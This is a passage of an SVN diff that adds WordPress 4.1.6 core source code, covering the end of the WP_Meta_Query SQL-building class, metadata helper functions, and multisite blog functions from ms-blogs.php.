+				if ( $this->is_first_order_clause( $clause ) ) {
+					$clause_sql = $this->get_sql_for_clause( $clause, $query );
+
+					$where_count = count( $clause_sql['where'] );
+					if ( ! $where_count ) {
+						$sql_chunks['where'][] = '';
+					} else if ( 1 === $where_count ) {
+						$sql_chunks['where'][] = $clause_sql['where'][0];
+					} else {
+						$sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )';
+					}
+
+					$sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] );
+				// This is a subquery, so we recurse.
+				} else {
+					$clause_sql = $this->get_sql_for_query( $clause, $depth + 1 );
+
+					$sql_chunks['where'][] = $clause_sql['where'];
+					$sql_chunks['join'][]  = $clause_sql['join'];
+				}
+			}
+		}
+
+		// Filter to remove empties.
+		$sql_chunks['join']  = array_filter( $sql_chunks['join'] );
+		$sql_chunks['where'] = array_filter( $sql_chunks['where'] );
+
+		if ( empty( $relation ) ) {
+			$relation = 'AND';
+		}
+
+		// Filter duplicate JOIN clauses and combine into a single string.
+		if ( ! empty( $sql_chunks['join'] ) ) {
+			$sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) );
+		}
+
+		// Generate a single WHERE clause with proper brackets and indentation.
+		if ( ! empty( $sql_chunks['where'] ) ) {
+			$sql['where'] = '( ' . "\n  " . $indent . implode( ' ' . "\n  " . $indent . $relation . ' ' . "\n  " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')';
+		}
+
+		return $sql;
+	}
+
+	/**
+	 * Generate SQL JOIN and WHERE clauses for a first-order query clause.
+	 *
+	 * "First-order" means that it's an array with a 'key' or 'value'.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 *
+	 * @param array $clause       Query clause, passed by reference.
+	 * @param array $parent_query Parent query array.
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to a first-order query.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	public function get_sql_for_clause( &$clause, $parent_query ) {
+		global $wpdb;
+
+		$sql_chunks = array(
+			'where' => array(),
+			'join' => array(),
+		);
+
+		if ( isset( $clause['compare'] ) ) {
+			$clause['compare'] = strtoupper( $clause['compare'] );
+		} else {
+			$clause['compare'] = isset( $clause['value'] ) && is_array( $clause['value'] ) ? 'IN' : '=';
+		}
+
+		if ( ! in_array( $clause['compare'], array(
+			'=', '!=', '>', '>=', '<', '<=',
+			'LIKE', 'NOT LIKE',
+			'IN', 'NOT IN',
+			'BETWEEN', 'NOT BETWEEN',
+			'EXISTS', 'NOT EXISTS',
+			'REGEXP', 'NOT REGEXP', 'RLIKE'
+		) ) ) {
+			$clause['compare'] = '=';
+		}
+
+		$meta_compare = $clause['compare'];
+
+		// First build the JOIN clause, if one is required.
+		$join = '';
+
+		// We prefer to avoid joins if possible. Look for an existing join compatible with this clause.
+		$alias = $this->find_compatible_table_alias( $clause, $parent_query );
+		if ( false === $alias ) {
+			$i = count( $this->table_aliases );
+			$alias = $i ? 'mt' . $i : $this->meta_table;
+
+			// JOIN clauses for NOT EXISTS have their own syntax.
+			if ( 'NOT EXISTS' === $meta_compare ) {
+				$join .= " LEFT JOIN $this->meta_table";
+				$join .= $i ? " AS $alias" : '';
+				$join .= $wpdb->prepare( " ON ($this->primary_table.$this->primary_id_column = $alias.$this->meta_id_column AND $alias.meta_key = %s )", $clause['key'] );
+
+			// All other JOIN clauses.
+			} else {
+				$join .= " INNER JOIN $this->meta_table";
+				$join .= $i ? " AS $alias" : '';
+				$join .= " ON ( $this->primary_table.$this->primary_id_column = $alias.$this->meta_id_column )";
+			}
+
+			$this->table_aliases[] = $alias;
+			$sql_chunks['join'][] = $join;
+		}
+
+		// Save the alias to this clause, for future siblings to find.
+		$clause['alias'] = $alias;
+
+		// Next, build the WHERE clause.
+
+		// meta_key.
+		if ( array_key_exists( 'key', $clause ) ) {
+			if ( 'NOT EXISTS' === $meta_compare ) {
+				$sql_chunks['where'][] = $alias . '.' . $this->meta_id_column . ' IS NULL';
+			} else {
+				$sql_chunks['where'][] = $wpdb->prepare( "$alias.meta_key = %s", trim( $clause['key'] ) );
+			}
+		}
+
+		// meta_value.
+		if ( array_key_exists( 'value', $clause ) ) {
+			$meta_value = $clause['value'];
+			$meta_type = $this->get_cast_for_type( isset( $clause['type'] ) ? $clause['type'] : '' );
+
+			if ( in_array( $meta_compare, array( 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ) ) ) {
+				if ( ! is_array( $meta_value ) ) {
+					$meta_value = preg_split( '/[,\s]+/', $meta_value );
+				}
+			} else {
+				$meta_value = trim( $meta_value );
+			}
+
+			switch ( $meta_compare ) {
+				case 'IN' :
+				case 'NOT IN' :
+					$meta_compare_string = '(' . substr( str_repeat( ',%s', count( $meta_value ) ), 1 ) . ')';
+					$where = $wpdb->prepare( $meta_compare_string, $meta_value );
+					break;
+
+				case 'BETWEEN' :
+				case 'NOT BETWEEN' :
+					$meta_value = array_slice( $meta_value, 0, 2 );
+					$where = $wpdb->prepare( '%s AND %s', $meta_value );
+					break;
+
+				case 'LIKE' :
+				case 'NOT LIKE' :
+					$meta_value = '%' . $wpdb->esc_like( $meta_value ) . '%';
+					$where = $wpdb->prepare( '%s', $meta_value );
+					break;
+
+				// EXISTS with a value is interpreted as '='.
+				case 'EXISTS' :
+					$meta_compare = '=';
+					$where = $wpdb->prepare( '%s', $meta_value );
+					break;
+
+				// 'value' is ignored for NOT EXISTS.
+				case 'NOT EXISTS' :
+					$where = '';
+					break;
+
+				default :
+					$where = $wpdb->prepare( '%s', $meta_value );
+					break;
+
+			}
+
+			if ( $where ) {
+				$sql_chunks['where'][] = "CAST($alias.meta_value AS {$meta_type}) {$meta_compare} {$where}";
+			}
+		}
+
+		/*
+		 * Multiple WHERE clauses (for meta_key and meta_value) should
+		 * be joined in parentheses.
+		 */
+		if ( 1 < count( $sql_chunks['where'] ) ) {
+			$sql_chunks['where'] = array( '( ' . implode( ' AND ', $sql_chunks['where'] ) . ' )' );
+		}
+
+		return $sql_chunks;
+	}
+
+	/**
+	 * Identify an existing table alias that is compatible with the current
+	 * query clause.
+	 *
+	 * We avoid unnecessary table joins by allowing each clause to look for
+	 * an existing table alias that is compatible with the query that it
+	 * needs to perform.
+	 *
+	 * An existing alias is compatible if (a) it is a sibling of `$clause`
+	 * (ie, it's under the scope of the same relation), and (b) the combination
+	 * of operator and relation between the clauses allows for a shared table join.
+	 * In the case of {@see WP_Meta_Query}, this only applies to 'IN' clauses that
+	 * are connected by the relation 'OR'.
+	 *
+	 * @since 4.1.0
+	 * @access protected
+	 *
+	 * @param  array       $clause       Query clause.
+	 * @param  array       $parent_query Parent query of $clause.
+	 * @return string|bool Table alias if found, otherwise false.
+	 */
+	protected function find_compatible_table_alias( $clause, $parent_query ) {
+		$alias = false;
+
+		foreach ( $parent_query as $sibling ) {
+			// If the sibling has no alias yet, there's nothing to check.
+			if ( empty( $sibling['alias'] ) ) {
+				continue;
+			}
+
+			// We're only interested in siblings that are first-order clauses.
+			if ( ! is_array( $sibling ) || ! $this->is_first_order_clause( $sibling ) ) {
+				continue;
+			}
+
+			$compatible_compares = array();
+
+			// Clauses connected by OR can share joins as long as they have "positive" operators.
+			if ( 'OR' === $parent_query['relation'] ) {
+				$compatible_compares = array( '=', 'IN', 'BETWEEN', 'LIKE', 'REGEXP', 'RLIKE', '>', '>=', '<', '<=' );
+
+			// Clauses joined by AND with "negative" operators share a join only if they also share a key.
+			} else if ( isset( $sibling['key'] ) && isset( $clause['key'] ) && $sibling['key'] === $clause['key'] ) {
+				$compatible_compares = array( '!=', 'NOT IN', 'NOT LIKE' );
+			}
+
+			$clause_compare  = strtoupper( $clause['compare'] );
+			$sibling_compare = strtoupper( $sibling['compare'] );
+			if ( in_array( $clause_compare, $compatible_compares ) && in_array( $sibling_compare, $compatible_compares ) ) {
+				$alias = $sibling['alias'];
+				break;
+			}
+		}
+
+		/**
+		 * Filter the table alias identified as compatible with the current clause.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param string|bool $alias        Table alias, or false if none was found.
+		 * @param array       $clause       First-order query clause.
+		 * @param array       $parent_query Parent of $clause.
+		 * @param object      $this         WP_Meta_Query object.
+		 */
+		return apply_filters( 'meta_query_find_compatible_table_alias', $alias, $clause, $parent_query, $this ) ;
+	}
+}
+
+/**
+ * Retrieve the name of the metadata table for the specified object type.
+ *
+ * @since 2.9.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $type Type of object to get metadata table for (e.g., comment, post, or user)
+ * @return mixed Metadata table name, or false if no metadata table exists
+ */
+function _get_meta_table($type) {
+	global $wpdb;
+
+	$table_name = $type . 'meta';
+
+	if ( empty($wpdb->$table_name) )
+		return false;
+
+	return $wpdb->$table_name;
+}
+
+/**
+ * Determine whether a meta key is protected.
+ *
+ * @since 3.1.3
+ *
+ * @param string      $meta_key Meta key
+ * @param string|null $meta_type
+ * @return bool True if the key is protected, false otherwise.
+ */
+function is_protected_meta( $meta_key, $meta_type = null ) {
+	$protected = ( '_' == $meta_key[0] );
+
+	/**
+	 * Filter whether a meta key is protected.
+	 *
+	 * @since 3.2.0
+	 *
+	 * @param bool   $protected Whether the key is protected. Default false.
+	 * @param string $meta_key  Meta key.
+	 * @param string $meta_type Meta type.
+	 */
+	return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type );
+}
+
+/**
+ * Sanitize meta value.
+ *
+ * @since 3.1.3
+ *
+ * @param string $meta_key Meta key
+ * @param mixed $meta_value Meta value to sanitize
+ * @param string $meta_type Type of meta
+ * @return mixed Sanitized $meta_value
+ */
+function sanitize_meta( $meta_key, $meta_value, $meta_type ) {
+
+	/**
+	 * Filter the sanitization of a specific meta key of a specific meta type.
+	 *
+	 * The dynamic portions of the hook name, `$meta_type`, and `$meta_key`,
+	 * refer to the metadata object type (comment, post, or user) and the meta
+	 * key value,
+	 * respectively.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param mixed  $meta_value Meta value to sanitize.
+	 * @param string $meta_key   Meta key.
+	 * @param string $meta_type  Meta type.
+	 */
+	return apply_filters( "sanitize_{$meta_type}_meta_{$meta_key}", $meta_value, $meta_key, $meta_type );
+}
+
+/**
+ * Register meta key
+ *
+ * @since 3.3.0
+ *
+ * @param string $meta_type Type of meta
+ * @param string $meta_key Meta key
+ * @param string|array $sanitize_callback A function or method to call when sanitizing the value of $meta_key.
+ * @param string|array $auth_callback Optional. A function or method to call when performing edit_post_meta, add_post_meta, and delete_post_meta capability checks.
+ */
+function register_meta( $meta_type, $meta_key, $sanitize_callback, $auth_callback = null ) {
+	if ( is_callable( $sanitize_callback ) )
+		add_filter( "sanitize_{$meta_type}_meta_{$meta_key}", $sanitize_callback, 10, 3 );
+
+	if ( empty( $auth_callback ) ) {
+		if ( is_protected_meta( $meta_key, $meta_type ) )
+			$auth_callback = '__return_false';
+		else
+			$auth_callback = '__return_true';
+	}
+
+	if ( is_callable( $auth_callback ) )
+		add_filter( "auth_{$meta_type}_meta_{$meta_key}", $auth_callback, 10, 6 );
+}
Index: /tags/4.1.6/src/wp-includes/ms-blogs.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ms-blogs.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ms-blogs.php	(revision 33402)
@@ -0,0 +1,939 @@
+<?php
+
+/**
+ * Site/blog functions that work with the blogs table and related data.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since MU
+ */
+
+/**
+ * Update the last_updated field for the current blog.
+ *
+ * @since MU
+ */
+function wpmu_update_blogs_date() {
+	global $wpdb;
+
+	update_blog_details( $wpdb->blogid, array('last_updated' => current_time('mysql', true)) );
+	/**
+	 * Fires after the blog details are updated.
+	 *
+	 * @since MU
+	 *
+	 * @param int $blog_id Blog ID.
+	 */
+	do_action( 'wpmu_blog_updated', $wpdb->blogid );
+}
+
+/**
+ * Get a full blog URL, given a blog id.
+ *
+ * @since MU
+ *
+ * @param int $blog_id Blog ID
+ * @return string
+ */
+function get_blogaddress_by_id( $blog_id ) {
+	$bloginfo = get_blog_details( (int) $blog_id, false ); // only get bare details!
+	return esc_url( 'http://' . $bloginfo->domain . $bloginfo->path );
+}
+
+/**
+ * Get a full blog URL, given a blog name.
+ *
+ * @since MU
+ *
+ * @param string $blogname The (subdomain or directory) name
+ * @return string
+ */
+function get_blogaddress_by_name( $blogname ) {
+	if ( is_subdomain_install() ) {
+		if ( $blogname == 'main' )
+			$blogname = 'www';
+		$url = rtrim( network_home_url(), '/' );
+		if ( !empty( $blogname ) )
+			$url = preg_replace( '|^([^\.]+://)|', "\${1}" . $blogname . '.', $url );
+	} else {
+		$url = network_home_url( $blogname );
+	}
+	return esc_url( $url . '/' );
+}
+
+/**
+ * Given a blog's (subdomain or directory) slug, retrieve its id.
+ *
+ * @since MU
+ *
+ * @param string $slug
+ * @return int A blog id
+ */
+function get_id_from_blogname( $slug ) {
+	global $wpdb;
+
+	$current_site = get_current_site();
+	$slug = trim( $slug, '/' );
+
+	$blog_id = wp_cache_get( 'get_id_from_blogname_' . $slug, 'blog-details' );
+	if ( $blog_id )
+		return $blog_id;
+
+	if ( is_subdomain_install() ) {
+		$domain = $slug . '.' . $current_site->domain;
+		$path = $current_site->path;
+	} else {
+		$domain = $current_site->domain;
+		$path = $current_site->path . $slug . '/';
+	}
+
+	$blog_id = $wpdb->get_var( $wpdb->prepare("SELECT blog_id FROM {$wpdb->blogs} WHERE domain = %s AND path = %s", $domain, $path) );
+	wp_cache_set( 'get_id_from_blogname_' . $slug, $blog_id, 'blog-details' );
+	return $blog_id;
+}
+
+/**
+ * Retrieve the details for a blog from the blogs table and blog options.
+ *
+ * @since MU
+ *
+ * @param int|string|array $fields A blog ID, a blog slug, or an array of fields to query against. Optional. If not specified the current blog ID is used.
+ * @param bool $get_all Whether to retrieve all details or only the details in the blogs table. Default is true.
+ * @return object Blog details.
+ */
+function get_blog_details( $fields = null, $get_all = true ) {
+	global $wpdb;
+
+	if ( is_array($fields ) ) {
+		if ( isset($fields['blog_id']) ) {
+			$blog_id = $fields['blog_id'];
+		} elseif ( isset($fields['domain']) && isset($fields['path']) ) {
+			$key = md5( $fields['domain'] . $fields['path'] );
+			$blog = wp_cache_get($key, 'blog-lookup');
+			if ( false !== $blog )
+				return $blog;
+			if ( substr( $fields['domain'], 0, 4 ) == 'www.' ) {
+				$nowww = substr( $fields['domain'], 4 );
+				$blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain IN (%s,%s) AND path = %s ORDER BY CHAR_LENGTH(domain) DESC", $nowww, $fields['domain'], $fields['path'] ) );
+			} else {
+				$blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain = %s AND path = %s", $fields['domain'], $fields['path'] ) );
+			}
+			if ( $blog ) {
+				wp_cache_set($blog->blog_id . 'short', $blog, 'blog-details');
+				$blog_id = $blog->blog_id;
+			} else {
+				return false;
+			}
+		} elseif ( isset($fields['domain']) && is_subdomain_install() ) {
+			$key = md5( $fields['domain'] );
+			$blog = wp_cache_get($key, 'blog-lookup');
+			if ( false !== $blog )
+				return $blog;
+			if ( substr( $fields['domain'], 0, 4 ) == 'www.' ) {
+				$nowww = substr( $fields['domain'], 4 );
+				$blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain IN (%s,%s) ORDER BY CHAR_LENGTH(domain) DESC", $nowww, $fields['domain'] ) );
+			} else {
+				$blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain = %s", $fields['domain'] ) );
+			}
+			if ( $blog ) {
+				wp_cache_set($blog->blog_id . 'short', $blog, 'blog-details');
+				$blog_id = $blog->blog_id;
+			} else {
+				return false;
+			}
+		} else {
+			return false;
+		}
+	} else {
+		if ( ! $fields )
+			$blog_id = get_current_blog_id();
+		elseif ( ! is_numeric( $fields ) )
+			$blog_id = get_id_from_blogname( $fields );
+		else
+			$blog_id = $fields;
+	}
+
+	$blog_id = (int) $blog_id;
+
+	$all = $get_all == true ? '' : 'short';
+	$details = wp_cache_get( $blog_id . $all, 'blog-details' );
+
+	if ( $details ) {
+		if ( ! is_object( $details ) ) {
+			if ( $details == -1 ) {
+				return false;
+			} else {
+				// Clear old pre-serialized objects. Cache clients do better with that.
+				wp_cache_delete( $blog_id . $all, 'blog-details' );
+				unset($details);
+			}
+		} else {
+			return $details;
+		}
+	}
+
+	// Try the other cache.
+	if ( $get_all ) {
+		$details = wp_cache_get( $blog_id . 'short', 'blog-details' );
+	} else {
+		$details = wp_cache_get( $blog_id, 'blog-details' );
+		// If short was requested and full cache is set, we can return.
+		if ( $details ) {
+			if ( ! is_object( $details ) ) {
+				if ( $details == -1 ) {
+					return false;
+				} else {
+					// Clear old pre-serialized objects. Cache clients do better with that.
+					wp_cache_delete( $blog_id, 'blog-details' );
+					unset($details);
+				}
+			} else {
+				return $details;
+			}
+		}
+	}
+
+	if ( empty($details) ) {
+		$details = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE blog_id = %d /* get_blog_details */", $blog_id ) );
+		if ( ! $details ) {
+			// Set the full cache.
+			wp_cache_set( $blog_id, -1, 'blog-details' );
+			return false;
+		}
+	}
+
+	if ( ! $get_all ) {
+		wp_cache_set( $blog_id . $all, $details, 'blog-details' );
+		return $details;
+	}
+
+	switch_to_blog( $blog_id );
+	$details->blogname		= get_option( 'blogname' );
+	$details->siteurl		= get_option( 'siteurl' );
+	$details->post_count	= get_option( 'post_count' );
+	restore_current_blog();
+
+	/**
+	 * Filter a blog's details.
+	 *
+	 * @since MU
+	 *
+	 * @param object $details The blog details.
+	 */
+	$details = apply_filters( 'blog_details', $details );
+
+	wp_cache_set( $blog_id . $all, $details, 'blog-details' );
+
+	$key = md5( $details->domain . $details->path );
+	wp_cache_set( $key, $details, 'blog-lookup' );
+
+	return $details;
+}
+
+/**
+ * Clear the blog details cache.
+ *
+ * @since MU
+ *
+ * @param int $blog_id Optional. Blog ID. Defaults to current blog.
+ */
+function refresh_blog_details( $blog_id = 0 ) {
+	$blog_id = (int) $blog_id;
+	if ( ! $blog_id ) {
+		$blog_id = get_current_blog_id();
+	}
+
+	$details = get_blog_details( $blog_id, false );
+	if ( ! $details ) {
+		// Make sure clean_blog_cache() gets the blog ID
+		// when the blog has been previously cached as
+		// non-existent.
+		$details = (object) array(
+			'blog_id' => $blog_id,
+			'domain' => null,
+			'path' => null
+		);
+	}
+
+	clean_blog_cache( $details );
+
+	/**
+	 * Fires after the blog details cache is cleared.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param int $blog_id Blog ID.
+	 */
+	do_action( 'refresh_blog_details', $blog_id );
+}
+
+/**
+ * Update the details for a blog. Updates the blogs table for a given blog id.
+ *
+ * @since MU
+ *
+ * @param int $blog_id Blog ID
+ * @param array $details Array of details keyed by blogs table field names.
+ * @return bool True if update succeeds, false otherwise.
+ */
+function update_blog_details( $blog_id, $details = array() ) {
+	global $wpdb;
+
+	if ( empty($details) )
+		return false;
+
+	if ( is_object($details) )
+		$details = get_object_vars($details);
+
+	$current_details = get_blog_details($blog_id, false);
+	if ( empty($current_details) )
+		return false;
+
+	$current_details = get_object_vars($current_details);
+
+	$details = array_merge($current_details, $details);
+	$details['last_updated'] = current_time('mysql', true);
+
+	$update_details = array();
+	$fields = array( 'site_id', 'domain', 'path', 'registered', 'last_updated', 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id');
+	foreach ( array_intersect( array_keys( $details ), $fields ) as $field )
+		$update_details[$field] = $details[$field];
+
+	$result = $wpdb->update( $wpdb->blogs, $update_details, array('blog_id' => $blog_id) );
+
+	if ( false === $result )
+		return false;
+
+	// If spam status changed, issue actions.
+	if ( $details['spam'] != $current_details['spam'] ) {
+		if ( $details['spam'] == 1 ) {
+			/**
+			 * Fires when the blog status is changed to 'spam'.
+			 *
+			 * @since MU
+			 *
+			 * @param int $blog_id Blog ID.
+			 */
+			do_action( 'make_spam_blog', $blog_id );
+		} else {
+			/**
+			 * Fires when the blog status is changed to 'ham'.
+			 *
+			 * @since MU
+			 *
+			 * @param int $blog_id Blog ID.
+			 */
+			do_action( 'make_ham_blog', $blog_id );
+		}
+	}
+
+	// If mature status changed, issue actions.
+	if ( $details['mature'] != $current_details['mature'] ) {
+		if ( $details['mature'] == 1 ) {
+			/**
+			 * Fires when the blog status is changed to 'mature'.
+			 *
+			 * @since 3.1.0
+			 *
+			 * @param int $blog_id Blog ID.
+			 */
+			do_action( 'mature_blog', $blog_id );
+		} else {
+			/**
+			 * Fires when the blog status is changed to 'unmature'.
+			 *
+			 * @since 3.1.0
+			 *
+			 * @param int $blog_id Blog ID.
+			 */
+			do_action( 'unmature_blog', $blog_id );
+		}
+	}
+
+	// If archived status changed, issue actions.
+	if ( $details['archived'] != $current_details['archived'] ) {
+		if ( $details['archived'] == 1 ) {
+			/**
+			 * Fires when the blog status is changed to 'archived'.
+			 *
+			 * @since MU
+			 *
+			 * @param int $blog_id Blog ID.
+			 */
+			do_action( 'archive_blog', $blog_id );
+		} else {
+			/**
+			 * Fires when the blog status is changed to 'unarchived'.
+			 *
+			 * @since MU
+			 *
+			 * @param int $blog_id Blog ID.
+			 */
+			do_action( 'unarchive_blog', $blog_id );
+		}
+	}
+
+	// If deleted status changed, issue actions.
+	if ( $details['deleted'] != $current_details['deleted'] ) {
+		if ( $details['deleted'] == 1 ) {
+			/**
+			 * Fires when the blog status is changed to 'deleted'.
+			 *
+			 * @since 3.5.0
+			 *
+			 * @param int $blog_id Blog ID.
+			 */
+			do_action( 'make_delete_blog', $blog_id );
+		} else {
+			/**
+			 * Fires when the blog status is changed to 'undeleted'.
+			 *
+			 * @since 3.5.0
+			 *
+			 * @param int $blog_id Blog ID.
+			 */
+			do_action( 'make_undelete_blog', $blog_id );
+		}
+	}
+
+	if ( isset( $details['public'] ) ) {
+		switch_to_blog( $blog_id );
+		update_option( 'blog_public', $details['public'] );
+		restore_current_blog();
+	}
+
+	refresh_blog_details($blog_id);
+
+	return true;
+}
+
+/**
+ * Clean the blog cache
+ *
+ * @since 3.5.0
+ *
+ * @param stdClass $blog The blog details as returned from get_blog_details()
+ */
+function clean_blog_cache( $blog ) {
+	$blog_id = $blog->blog_id;
+	$domain_path_key = md5( $blog->domain . $blog->path );
+
+	wp_cache_delete( $blog_id , 'blog-details' );
+	wp_cache_delete( $blog_id . 'short' , 'blog-details' );
+	wp_cache_delete(  $domain_path_key, 'blog-lookup' );
+	wp_cache_delete( 'current_blog_' . $blog->domain, 'site-options' );
+	wp_cache_delete( 'current_blog_' . $blog->domain . $blog->path, 'site-options' );
+	wp_cache_delete( 'get_id_from_blogname_' . trim( $blog->path, '/' ), 'blog-details' );
+	wp_cache_delete( $domain_path_key, 'blog-id-cache' );
+}
+
+/**
+ * Retrieve option value for a given blog id based on name of option.
+ *
+ * If the option does not exist or does not have a value, then the return value
+ * will be false. This is useful to check whether you need to install an option
+ * and is commonly used during installation of plugin options and to test
+ * whether upgrading is required.
+ *
+ * If the option was serialized then it will be unserialized when it is returned.
+ *
+ * @since MU
+ *
+ * @param int $id A blog ID. Can be null to refer to the current blog.
+ * @param string $option Name of option to retrieve. Expected to not be SQL-escaped.
+ * @param mixed $default Optional. Default value to return if the option does not exist.
+ * @return mixed Value set for the option.
+ */
+function get_blog_option( $id, $option, $default = false ) {
+	$id = (int) $id;
+
+	if ( empty( $id ) )
+		$id = get_current_blog_id();
+
+	if ( get_current_blog_id() == $id )
+		return get_option( $option, $default );
+
+	switch_to_blog( $id );
+	$value = get_option( $option, $default );
+	restore_current_blog();
+
+	/**
+	 * Filter a blog option value.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the blog option name.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string  $value The option value.
+	 * @param int     $id    Blog ID.
+	 */
+	return apply_filters( "blog_option_{$option}", $value, $id );
+}
+
+/**
+ * Add a new option for a given blog id.
+ *
+ * You do not need to serialize values. If the value needs to be serialized, then
+ * it will be serialized before it is inserted into the database. Remember,
+ * resources can not be serialized or added as an option.
+ *
+ * You can create options without values and then update the values later.
+ * Existing options will not be updated and checks are performed to ensure that you
+ * aren't adding a protected WordPress option. Care should be taken to not name
+ * options the same as the ones which are protected.
+ *
+ * @since MU
+ *
+ * @param int $id A blog ID. Can be null to refer to the current blog.
+ * @param string $option Name of option to add. Expected to not be SQL-escaped.
+ * @param mixed $value Optional. Option value, can be anything. Expected to not be SQL-escaped.
+ * @return bool False if option was not added and true if option was added.
+ */
+function add_blog_option( $id, $option, $value ) {
+	$id = (int) $id;
+
+	if ( empty( $id ) )
+		$id = get_current_blog_id();
+
+	if ( get_current_blog_id() == $id )
+		return add_option( $option, $value );
+
+	switch_to_blog( $id );
+	$return = add_option( $option, $value );
+	restore_current_blog();
+
+	return $return;
+}
+
+/**
+ * Removes option by name for a given blog id. Prevents removal of protected WordPress options.
+ *
+ * @since MU
+ *
+ * @param int $id A blog ID. Can be null to refer to the current blog.
+ * @param string $option Name of option to remove. Expected to not be SQL-escaped.
+ * @return bool True, if option is successfully deleted. False on failure.
+ */
+function delete_blog_option( $id, $option ) {
+	$id = (int) $id;
+
+	if ( empty( $id ) )
+		$id = get_current_blog_id();
+
+	if ( get_current_blog_id() == $id )
+		return delete_option( $option );
+
+	switch_to_blog( $id );
+	$return = delete_option( $option );
+	restore_current_blog();
+
+	return $return;
+}
+
+/**
+ * Update an option for a particular blog.
+ *
+ * @since MU
+ *
+ * @param int $id The blog id
+ * @param string $option The option key
+ * @param mixed $value The option value
+ * @return bool True on success, false on failure.
+ */
+function update_blog_option( $id, $option, $value, $deprecated = null ) {
+	$id = (int) $id;
+
+	if ( null !== $deprecated  )
+		_deprecated_argument( __FUNCTION__, '3.1' );
+
+	if ( get_current_blog_id() == $id )
+		return update_option( $option, $value );
+
+	switch_to_blog( $id );
+	$return = update_option( $option, $value );
+	restore_current_blog();
+
+	refresh_blog_details( $id );
+
+	return $return;
+}
+
+/**
+ * Switch the current blog.
+ *
+ * This function is useful if you need to pull posts, or other information,
+ * from other blogs. You can switch back afterwards using restore_current_blog().
+ *
+ * Things that aren't switched:
+ *  - autoloaded options. See #14992
+ *  - plugins. See #14941
+ *
+ * @see restore_current_blog()
+ * @since MU
+ *
+ * @param int $new_blog The id of the blog you want to switch to. Default: current blog
+ * @param bool $deprecated Deprecated argument
+ * @return bool Always returns True.
+ */
+function switch_to_blog( $new_blog, $deprecated = null ) {
+	global $wpdb, $wp_roles;
+
+	if ( empty( $new_blog ) )
+		$new_blog = $GLOBALS['blog_id'];
+
+	$GLOBALS['_wp_switched_stack'][] = $GLOBALS['blog_id'];
+
+	/*
+	 * If we're switching to the same blog id that we're on,
+	 * set the right vars, do the associated actions, but skip
+	 * the extra unnecessary work
+	 */
+	if ( $new_blog == $GLOBALS['blog_id'] ) {
+		/**
+		 * Fires when the blog is switched.
+		 *
+		 * @since MU
+		 *
+		 * @param int $new_blog New blog ID.
+		 * @param int $new_blog Blog ID.
+		 */
+		do_action( 'switch_blog', $new_blog, $new_blog );
+		$GLOBALS['switched'] = true;
+		return true;
+	}
+
+	$wpdb->set_blog_id( $new_blog );
+	$GLOBALS['table_prefix'] = $wpdb->get_blog_prefix();
+	$prev_blog_id = $GLOBALS['blog_id'];
+	$GLOBALS['blog_id'] = $new_blog;
+
+	if ( function_exists( 'wp_cache_switch_to_blog' ) ) {
+		wp_cache_switch_to_blog( $new_blog );
+	} else {
+		global $wp_object_cache;
+
+		if ( is_object( $wp_object_cache ) && isset( $wp_object_cache->global_groups ) )
+			$global_groups = $wp_object_cache->global_groups;
+		else
+			$global_groups = false;
+
+		wp_cache_init();
+
+		if ( function_exists( 'wp_cache_add_global_groups' ) ) {
+			if ( is_array( $global_groups ) )
+				wp_cache_add_global_groups( $global_groups );
+			else
+				wp_cache_add_global_groups( array( 'users', 'userlogins', 'usermeta', 'user_meta', 'site-transient', 'site-options', 'site-lookup', 'blog-lookup', 'blog-details', 'rss', 'global-posts', ' blog-id-cache' ) );
+			wp_cache_add_non_persistent_groups( array( 'comment', 'counts', 'plugins' ) );
+		}
+	}
+
+	if ( did_action( 'init' ) ) {
+		$wp_roles->reinit();
+		$current_user = wp_get_current_user();
+		$current_user->for_blog( $new_blog );
+	}
+
+	/** This filter is documented in wp-includes/ms-blogs.php */
+	do_action( 'switch_blog', $new_blog, $prev_blog_id );
+	$GLOBALS['switched'] = true;
+
+	return true;
+}
+
+/**
+ * Restore the current blog, after calling switch_to_blog()
+ *
+ * @see switch_to_blog()
+ * @since MU
+ *
+ * @return bool True on success, false if we're already on the current blog
+ */
+function restore_current_blog() {
+	global $wpdb, $wp_roles;
+
+	if ( empty( $GLOBALS['_wp_switched_stack'] ) )
+		return false;
+
+	$blog = array_pop( $GLOBALS['_wp_switched_stack'] );
+
+	if ( $GLOBALS['blog_id'] == $blog ) {
+		/** This filter is documented in wp-includes/ms-blogs.php */
+		do_action( 'switch_blog', $blog, $blog );
+		// If we still have items in the switched stack, consider ourselves still 'switched'
+		$GLOBALS['switched'] = ! empty( $GLOBALS['_wp_switched_stack'] );
+		return true;
+	}
+
+	$wpdb->set_blog_id( $blog );
+	$prev_blog_id = $GLOBALS['blog_id'];
+	$GLOBALS['blog_id'] = $blog;
+	$GLOBALS['table_prefix'] = $wpdb->get_blog_prefix();
+
+	if ( function_exists( 'wp_cache_switch_to_blog' ) ) {
+		wp_cache_switch_to_blog( $blog );
+	} else {
+		global $wp_object_cache;
+
